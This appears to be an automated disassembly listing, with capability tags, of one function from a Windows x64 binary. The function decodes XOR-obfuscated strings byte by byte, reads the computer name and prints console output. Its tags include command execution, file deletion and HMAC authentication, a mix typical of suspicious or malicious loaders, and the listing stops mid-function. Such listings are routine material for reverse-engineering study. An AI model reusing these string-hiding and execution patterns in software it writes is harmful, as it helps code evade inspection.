Function at 0x7ff62735c690
Capabilities:
Authenticate hmac
Check http status code
Delete file
Encode data using xor
Execute command
Get hostname
Manipulate console buffer
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x940
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x7ff6274be240]
xor rax, rsp
mov qword [rsp + 0x920], rax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x488], xmm1
lea r8d, [rbx + 0x10]
lea rdx, [0x7ff6274941d8]
lea rcx, [rsp + 0x478]
call fcn.7ff627395700
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x900], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x910], xmm1
lea r8d, [rbx + 0x10]
lea rdx, [0x7ff6274941f0]
lea rcx, [rsp + 0x900]
call fcn.7ff627395700
nop
lea r9, [rsp + 0x478]
lea r8, [rsp + 0x900]
call fcn.7ff6273aa330
nop
lea rcx, [rsp + 0x900]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0x478]
call fcn.7ff627392b40
mov ecx, 0xfffffff5
call qword [sym.imp.kernel32.dll_GetStdHandle]
mov rdi, rax
lea rdx, [rsp + 0x448]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetConsoleCursorInfo]
mov eax, 1
mov dword [rsp + 0x44c], eax
lea rdx, [rsp + 0x448]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_SetConsoleCursorInfo]
mov byte [rsp + 0x20], 0xff
movzx eax, byte [0x7ff6274c2df8]
mov byte [rsp + 0x21], al
movzx eax, byte [0x7ff6274c2e00]
mov byte [rsp + 0x22], al
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
mov word [rsp + 0x20], 0xff00
mov byte [rsp + 0x22], bl
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
mov byte [rsp + 0x448], 0x1e
mov al, 0x3e
mov cl, 0x45
mov dl, 0x35
mov r8b, 0x43
movzx r9d, al
xor r10d, r10d
xor al, 0x1e
mov byte [rsp + 0x449], al
xor cl, 0x1e
mov byte [rsp + 0x44a], cl
xor dl, 0x1e
mov byte [rsp + 0x44b], dl
xor r8b, 0x1e
mov byte [rsp + 0x44c], r8b
xor r9b, 0x1e
mov byte [rsp + 0x44d], r9b
mov byte [rsp + 0x44e], r10b
lea ecx, [rbx + 0xa]
call qword [sym.imp.kernel32.dll_Sleep]
mov esi, ebx
lea rax, [rsp + 0x449]
mov r12, 0xffffffffffffffff
mov rdi, r12
nop
inc rdi
cmp byte [rax + rdi], bl
jne 0x7ff62735c850
test rdi, rdi
je 0x7ff62735c887
nop dword [rax]
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
movzx edx, byte [rsp + rsi + 0x449]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff6273d0d40
inc rsi
cmp rsi, rdi
jb 0x7ff62735c860
mov word [rsp + 0x20], 0xffff
mov byte [rsp + 0x22], 0xff
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
mov byte [rsp + 0x28], 0x21
mov al, 0x76
mov cl, 0x44
mov dl, 0x4d
mov r8b, 0x42
mov r9b, 0x4e
mov r10b, 0x4c
movzx r11d, cl
mov dil, 1
mov sil, 0x75
movzx r14d, r9b
movzx r15d, dil
xor r13d, r13d
xor al, 0x21
mov byte [rsp + 0x29], al
xor cl, 0x21
mov byte [rsp + 0x2a], cl
xor dl, 0x21
mov byte [rsp + 0x2b], dl
xor r8b, 0x21
mov byte [rsp + 0x2c], r8b
xor r9b, 0x21
mov byte [rsp + 0x2d], r9b
xor r10b, 0x21
mov byte [rsp + 0x2e], r10b
xor r11b, 0x21
mov byte [rsp + 0x2f], r11b
xor dil, 0x21
mov byte [rsp + 0x30], dil
xor sil, 0x21
mov byte [rsp + 0x31], sil
xor r14b, 0x21
mov byte [rsp + 0x32], r14b
xor r15b, 0x21
mov byte [rsp + 0x33], r15b
mov byte [rsp + 0x34], r13b
lea ecx, [r13 + 0xa]
call qword [sym.imp.kernel32.dll_Sleep]
mov rsi, rbx
lea rax, [rsp + 0x29]
mov rdi, r12
inc rdi
cmp byte [rax + rdi], bl
jne 0x7ff62735c943
test rdi, rdi
je 0x7ff62735c974
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
movzx edx, byte [rsp + rsi + 0x29]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff6273d0d40
inc rsi
cmp rsi, rdi
jb 0x7ff62735c950
mov byte [rsp + 0x20], 0xff
movzx eax, byte [0x7ff6274c2df8]
mov byte [rsp + 0x21], al
movzx eax, byte [0x7ff6274c2e00]
mov byte [rsp + 0x22], al
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
lea rdi, [0x7ff6274c2ff0]
cmp qword [0x7ff6274c3008], 0xf
cmova rdi, qword [0x7ff6274c2ff0]
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
mov rsi, rbx
mov rax, r12
inc rax
cmp byte [rdi + rax], bl
jne 0x7ff62735c9c8
test rax, rax
je 0x7ff62735ca04
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
movzx edx, byte [rsi + rdi]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff6273d0d40
inc rsi
mov rax, r12
inc rax
cmp byte [rdi + rax], r13b
jne 0x7ff62735c9f6
cmp rsi, rax
jb 0x7ff62735c9d5
mov word [rsp + 0x20], 0xffff
mov byte [rsp + 0x22], 0xff
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov word [rsp + 0x20], 0xffff
mov byte [rsp + 0x22], r13b
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
mov dword [0x7ff6274c2dfc], 0x10001
mov edx, dword [0x7ff6274c2dfc]
mov rcx, qword [0x7ff6274c3030]
call qword [sym.imp.kernel32.dll_SetConsoleCursorPosition]
mov byte [rsp + 0x440], 0x77
mov al, 0x2c
mov cl, 0x58
mov dl, 0x2a
mov r8b, 0x57
xor r9d, r9d
xor al, 0x77
mov byte [rsp + 0x441], al
xor cl, 0x77
mov byte [rsp + 0x442], cl
xor dl, 0x77
mov byte [rsp + 0x443], dl
xor r8b, 0x77
mov byte [rsp + 0x444], r8b
mov byte [rsp + 0x445], r9b
lea ecx, [r9 + 0xa]
call qword [sym.imp.kernel32.dll_Sleep]
mov rdi, rbx
lea rax, [rsp + 0x441]
inc r12
cmp byte [rax + r12], bl
jne 0x7ff62735cac0
test r12, r12
je 0x7ff62735caf7
nop
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
movzx edx, byte [rsp + rdi + 0x441]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff6273d0d40
inc rdi
cmp rdi, r12
jb 0x7ff62735cad0
mov word [rsp + 0x20], 0xffff
mov byte [rsp + 0x22], 0xff
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393d80
movdqa xmm1, xmmword [0x7ff6274a4560]
movdqu xmmword [rsp + 0x900], xmm1
mov cl, 0x36
mov dl, 0x64
mov r8b, 0x30
mov r10b, 0x2b
movzx r11d, dl
mov dil, 0x28
movzx esi, r10b
mov r14b, 0x25
mov r15b, 0x20
mov r12b, 0x6a
movzx r13d, r12b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x901], al
xor byte [rsp + 0x902], r9b
xor byte [rsp + 0x903], r9b
xor byte [rsp + 0x904], r9b
xor byte [rsp + 0x905], r9b
xor byte [rsp + 0x906], r9b
xor byte [rsp + 0x907], r9b
xor byte [rsp + 0x908], r9b
xor byte [rsp + 0x909], r9b
xor byte [rsp + 0x90a], r9b
xor byte [rsp + 0x90b], r9b
xor byte [rsp + 0x90c], r9b
xor byte [rsp + 0x90d], r9b
xor byte [rsp + 0x90e], r9b
xor byte [rsp + 0x90f], r9b
xor cl, r9b
mov byte [rsp + 0x910], cl
xor dl, r9b
mov byte [rsp + 0x911], dl
xor r8b, r9b
mov byte [rsp + 0x912], r8b
xor r10b, r9b
mov byte [rsp + 0x913], r10b
xor r11b, r9b
mov byte [rsp + 0x914], r11b
xor dil, r9b
mov byte [rsp + 0x915], dil
xor sil, r9b
mov byte [rsp + 0x916], sil
xor r14b, r9b
mov byte [rsp + 0x917], r14b
xor r15b, r9b
mov byte [rsp + 0x918], r15b
xor r12b, r9b
mov byte [rsp + 0x919], r12b
xor r13b, r9b
mov byte [rsp + 0x91a], r13b
mov al, 0x6a
xor al, r9b
mov byte [rsp + 0x91b], al
mov byte [rsp + 0x91c], 0
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
mov r14, rbx
lea rax, [rsp + 0x901]
mov rdi, 0xffffffffffffffff
mov rsi, rdi
nop
inc rsi
cmp byte [rax + rsi], bl
jne 0x7ff62735cc80
test rsi, rsi
je 0x7ff62735ccb8
nop dword [rax]
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
movzx edx, byte [rsp + r14 + 0x901]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff6273d0d40
inc r14
cmp r14, rsi
jb 0x7ff62735cc90
xorps xmm0, xmm0
movups xmmword [rsp + 0x4b8], xmm0
movdqa xmm1, xmmword [0x7ff6274a44a0]
movdqu xmmword [rsp + 0x4c8], xmm1
mov byte [rsp + 0x4b8], 0
lea rcx, [0x7ff6274be3d8]
call fcn.7ff6273b0280
xorps xmm0, xmm0
movups xmmword [rsp + 0x478], xmm0
lea rcx, [rsp + 0x478]
call fcn.7ff6273aa710
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x458], xmm0
mov byte [rsp + 0x440], 0x79
mov al, 0x1e
mov cl, 0x18
mov dl, 0x14
mov r8b, 0x1c
xor r9d, r9d
xor al, 0x79
mov byte [rsp + 0x441], al
xor cl, 0x79
mov byte [rsp + 0x442], cl
xor dl, 0x79
mov byte [rsp + 0x443], dl
xor r8b, 0x79
mov byte [rsp + 0x444], r8b
mov byte [rsp + 0x445], r9b
mov byte [rsp + 0x448], 0x3f
mov al, 0x50
mov cl, 0x4b
mov dl, 0x57
mov r8b, 0x5a
mov r9b, 0x4d
mov r10b, 0x4c
xor r11d, r11d
xor al, 0x3f
mov byte [rsp + 0x449], al
xor cl, 0x3f
mov byte [rsp + 0x44a], cl
xor dl, 0x3f
mov byte [rsp + 0x44b], dl
xor r8b, 0x3f
mov byte [rsp + 0x44c], r8b
xor r9b, 0x3f
mov byte [rsp + 0x44d], r9b
xor r10b, 0x3f
mov byte [rsp + 0x44e], r10b
mov byte [rsp + 0x44f], r11b
movups xmmword [rsp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1e0], xmm1
lea rax, [rsp + 0x441]
mov r8, rdi
inc r8
cmp byte [rax + r8], r11b
jne 0x7ff62735cdd3
lea rdx, [rsp + 0x441]
lea rcx, [rsp + 0x1d0]
call fcn.7ff627395700
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x200], xmm1
lea rax, [rsp + 0x449]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735ce14
lea rdx, [rsp + 0x449]
lea rcx, [rsp + 0x1f0]
call fcn.7ff627395700
nop
mov byte [rsp + 0x28], 0x35
mov al, 0x43
mov cl, 0x50
mov dl, 0x47
mov r8b, 0x46
mov r9b, 0x5c
mov r10b, 0x5a
mov r11b, 0x5b
xor esi, esi
xor al, 0x35
mov byte [rsp + 0x29], al
xor cl, 0x35
mov byte [rsp + 0x2a], cl
xor dl, 0x35
mov byte [rsp + 0x2b], dl
xor r8b, 0x35
mov byte [rsp + 0x2c], r8b
xor r9b, 0x35
mov byte [rsp + 0x2d], r9b
xor r10b, 0x35
mov byte [rsp + 0x2e], r10b
xor r11b, 0x35
mov byte [rsp + 0x2f], r11b
mov byte [rsp + 0x30], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x220], xmm1
lea rax, [rsp + 0x29]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x7ff62735ceb0
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x210]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274c3328]
lea rcx, [rsp + 0x230]
call fcn.7ff627390f00
nop
mov byte [rsp + 0x440], 0x3d
mov al, 0x5a
mov cl, 0x4d
mov dl, 0x48
xor r8d, r8d
xor al, 0x3d
mov byte [rsp + 0x441], al
xor cl, 0x3d
mov byte [rsp + 0x442], cl
xor dl, 0x3d
mov byte [rsp + 0x443], dl
mov byte [rsp + 0x444], r8b
lea rcx, [rsp + 0x68]
call fcn.7ff6273ac040
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x260], xmm1
lea rax, [rsp + 0x441]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735cf46
lea rdx, [rsp + 0x441]
lea rcx, [rsp + 0x250]
call fcn.7ff627395700
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x280], xmm1
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x270], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x280], xmm1
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov byte [rsp + 0x28], 0x61
mov al, 0x12
mov cl, 4
mov dl, 0x13
mov r8b, 8
xor r9b, r9b
mov r10b, 0xd
movzx r11d, al
xor esi, esi
xor al, 0x61
mov byte [rsp + 0x29], al
xor cl, 0x61
mov byte [rsp + 0x2a], cl
xor dl, 0x61
mov byte [rsp + 0x2b], dl
xor r8b, 0x61
mov byte [rsp + 0x2c], r8b
xor r9b, 0x61
mov byte [rsp + 0x2d], r9b
xor r10b, 0x61
mov byte [rsp + 0x2e], r10b
xor r11b, 0x61
mov byte [rsp + 0x2f], r11b
mov byte [rsp + 0x30], sil
lea rcx, [rsp + 0x140]
call fcn.7ff6273abdf0
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2a0], xmm1
lea rax, [rsp + 0x29]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735d030
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x290]
call fcn.7ff627395700
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2c0], xmm1
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x2b0], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x2c0], xmm1
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov byte [rsp + 0x448], 0x38
mov al, 0x48
mov cl, 0x56
movzx edx, al
mov r8b, 0x67
mov r9b, 0x51
mov r10b, 0x5c
xor r11d, r11d
xor al, 0x38
mov byte [rsp + 0x449], al
xor cl, 0x38
mov byte [rsp + 0x44a], cl
xor dl, 0x38
mov byte [rsp + 0x44b], dl
xor r8b, 0x38
mov byte [rsp + 0x44c], r8b
xor r9b, 0x38
mov byte [rsp + 0x44d], r9b
xor r10b, 0x38
mov byte [rsp + 0x44e], r10b
mov byte [rsp + 0x44f], r11b
lea rcx, [rsp + 0xa8]
call fcn.7ff6273ac5e0
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2e0], xmm1
lea rax, [rsp + 0x449]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x7ff62735d120
mov r8, rdi
lea rdx, [rsp + 0x449]
lea rcx, [rsp + 0x2d0]
call fcn.7ff627395700
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x300], xmm1
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x2f0], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x300], xmm1
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov byte [rsp + 0x28], 0x76
mov al, 0x15
mov cl, 0x19
mov dl, 0x1b
mov r8b, 6
mov r9b, 3
mov r10b, 2
mov r11b, 0x13
mov dil, 4
mov sil, 0x29
mov r14b, 0x18
mov r15b, 0x17
movzx r12d, dl
movzx r13d, r11b
xor ebx, ebx
xor al, 0x76
mov byte [rsp + 0x29], al
xor cl, 0x76
mov byte [rsp + 0x2a], cl
xor dl, 0x76
mov byte [rsp + 0x2b], dl
xor r8b, 0x76
mov byte [rsp + 0x2c], r8b
xor r9b, 0x76
mov byte [rsp + 0x2d], r9b
xor r10b, 0x76
mov byte [rsp + 0x2e], r10b
xor r11b, 0x76
mov byte [rsp + 0x2f], r11b
xor dil, 0x76
mov byte [rsp + 0x30], dil
xor sil, 0x76
mov byte [rsp + 0x31], sil
xor r14b, 0x76
mov byte [rsp + 0x32], r14b
xor r15b, 0x76
mov byte [rsp + 0x33], r15b
xor r12b, 0x76
mov byte [rsp + 0x34], r12b
xor r13b, 0x76
mov byte [rsp + 0x35], r13b
mov byte [rsp + 0x36], bl
mov dword [rsp + 0x440], 0x10
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x900]
call qword [sym.imp.kernel32.dll_GetComputerNameA]
test eax, eax
je 0x7ff62735fc7a
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x900]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x7ff62735d270
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x40]
call fcn.7ff627395700
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x320], xmm1
lea rax, [rsp + 0x29]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735d2b0
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x310]
call fcn.7ff627395700
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x330], xmm1
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [0x7ff6274a44a0]
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x28], 0x4d
mov al, 0x24
mov cl, 0x3d
mov dl, 0x2c
mov r8b, 0x29
movzx r9d, r8b
mov r10b, 0x3f
mov r11b, 0x28
mov dil, 0x3e
movzx esi, dil
xor r14d, r14d
xor al, 0x4d
mov byte [rsp + 0x29], al
xor cl, 0x4d
mov byte [rsp + 0x2a], cl
xor dl, 0x4d
mov byte [rsp + 0x2b], dl
xor r8b, 0x4d
mov byte [rsp + 0x2c], r8b
xor r9b, 0x4d
mov byte [rsp + 0x2d], r9b
xor r10b, 0x4d
mov byte [rsp + 0x2e], r10b
xor r11b, 0x4d
mov byte [rsp + 0x2f], r11b
xor dil, 0x4d
mov byte [rsp + 0x30], dil
xor sil, 0x4d
mov byte [rsp + 0x31], sil
mov byte [rsp + 0x32], r14b
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x360], xmm1
lea rax, [rsp + 0x29]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x7ff62735d390
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x350]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274be398]
lea rcx, [rsp + 0x370]
call fcn.7ff627390f00
nop
mov byte [rsp + 0x440], 0x67
mov al, 9
mov cl, 6
mov dl, 0xa
mov r8b, 2
xor r9d, r9d
xor al, 0x67
mov byte [rsp + 0x441], al
xor cl, 0x67
mov byte [rsp + 0x442], cl
xor dl, 0x67
mov byte [rsp + 0x443], dl
xor r8b, 0x67
mov byte [rsp + 0x444], r8b
mov byte [rsp + 0x445], r9b
xorps xmm0, xmm0
movups xmmword [rsp + 0x390], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3a0], xmm1
lea rax, [rsp + 0x441]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x7ff62735d430
lea rdx, [rsp + 0x441]
lea rcx, [rsp + 0x390]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274c2f80]
lea rcx, [rsp + 0x3b0]
call fcn.7ff627390f00
nop
mov byte [rsp + 0x28], 2
mov al, 0x77
mov cl, 0x71
mov dl, 0x67
mov r8b, 0x70
mov r9b, 0x6c
mov r10b, 0x63
mov r11b, 0x6f
movzx edi, dl
xor esi, esi
xor al, 2
mov byte [rsp + 0x29], al
xor cl, 2
mov byte [rsp + 0x2a], cl
xor dl, 2
mov byte [rsp + 0x2b], dl
xor r8b, 2
mov byte [rsp + 0x2c], r8b
xor r9b, 2
mov byte [rsp + 0x2d], r9b
xor r10b, 2
mov byte [rsp + 0x2e], r10b
xor r11b, 2
mov byte [rsp + 0x2f], r11b
xor dil, 2
mov byte [rsp + 0x30], dil
mov byte [rsp + 0x31], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3e0], xmm1
lea rax, [rsp + 0x29]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x7ff62735d4e5
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x3d0]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274be3d8]
lea rcx, [rsp + 0x3f0]
call fcn.7ff627390f00
nop
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x900], rax
lea rax, [rsp + 0x410]
mov qword [rsp + 0x908], rax
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x458]
call fcn.7ff62738f330
nop
lea r9, [fcn.7ff62735c3d0]
mov edx, 0x40
lea r8d, [rdx - 0x37]
lea rcx, [rsp + 0x1d0]
call fcn.7ff62745754c
nop
lea rcx, [rsp + 0x40]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0xa8]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0x140]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0x68]
call fcn.7ff627392b40
xor edx, edx
mov r8d, 0x138
lea rcx, [rsp + 0x7c0]
call fcn.7ff62745d7a0
mov qword [rsp + 0x28], 0x7530
mov byte [rsp + 0x448], 1
mov al, 0x42
mov cl, 0x6e
mov dl, 0x6f
mov r8b, 0x75
mov r9b, 0x64
movzx r10d, dl
movzx r11d, r8b
mov dil, 0x2c
mov sil, 0x55
mov r14b, 0x78
mov r15b, 0x71
movzx r12d, r9b
xor ebx, ebx
xor al, 1
mov byte [rsp + 0x449], al
xor cl, 1
mov byte [rsp + 0x44a], cl
xor dl, 1
mov byte [rsp + 0x44b], dl
xor r8b, 1
mov byte [rsp + 0x44c], r8b
xor r9b, 1
mov byte [rsp + 0x44d], r9b
xor r10b, 1
mov byte [rsp + 0x44e], r10b
xor r11b, 1
mov byte [rsp + 0x44f], r11b
xor dil, 1
mov byte [rsp + 0x450], dil
xor sil, 1
mov byte [rsp + 0x451], sil
xor r14b, 1
mov byte [rsp + 0x452], r14b
xor r15b, 1
mov byte [rsp + 0x453], r15b
xor r12b, 1
mov byte [rsp + 0x454], r12b
mov byte [rsp + 0x455], bl
movdqa xmm1, xmmword [0x7ff6274a4590]
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0x25
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
mov byte [rsp + 0x51], bl
xorps xmm0, xmm0
movups xmmword [rsp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
lea rax, [rsp + 0x449]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x7ff62735d702
lea rdx, [rsp + 0x449]
lea rcx, [rsp + 0x180]
call fcn.7ff627395700
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
lea rax, [rsp + 0x41]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x7ff62735d740
lea rdx, [rsp + 0x41]
lea rcx, [rsp + 0x1a0]
call fcn.7ff627395700
nop
lea rax, [rsp + 0x180]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x900]
call fcn.7ff6273904c0
mov rsi, rax
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x498]
call fcn.7ff6273acb90
nop
lea rax, [0x7ff62749f8a8]
mov qword [rsp + 0x100], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
movdqa xmm1, xmmword [0x7ff6274a44a0]
movdqu xmmword [rsp + 0x118], xmm1
mov byte [rsp + 0x108], 0
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x68]
call fcn.7ff627390f00
mov r9, rax
lea r8, [rsp + 0x4b8]
lea rdx, [rsp + 0x498]
lea rcx, [rsp + 0x140]
call fcn.7ff627394f40
mov rdx, rax
lea rcx, [rsp + 0x108]
call fcn.7ff627390e00
lea rcx, [rsp + 0x140]
call fcn.7ff627392b40
nop
lea rax, [0x7ff6274a00b0]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [0x7ff62749f7c0]
movups xmmword [rsp + 0xa8], xmm0
movups xmm1, xmmword [0x7ff62749f7d0]
movups xmmword [rsp + 0xb8], xmm1
movsd xmm0, qword [0x7ff62749f7e0]
movsd qword [rsp + 0xc8], xmm0
mov eax, dword [0x7ff62749f7e8]
mov dword [rsp + 0xd0], eax
movzx eax, word [0x7ff62749f7ec]
mov word [rsp + 0xd4], ax
movzx eax, byte [0x7ff62749f7ee]
mov byte [rsp + 0xd6], al
mov r8d, ebx
mov edi, dword [0x7ff6274be1f8]
cmp edi, 2
jl 0x7ff62735d9d6
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xac]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
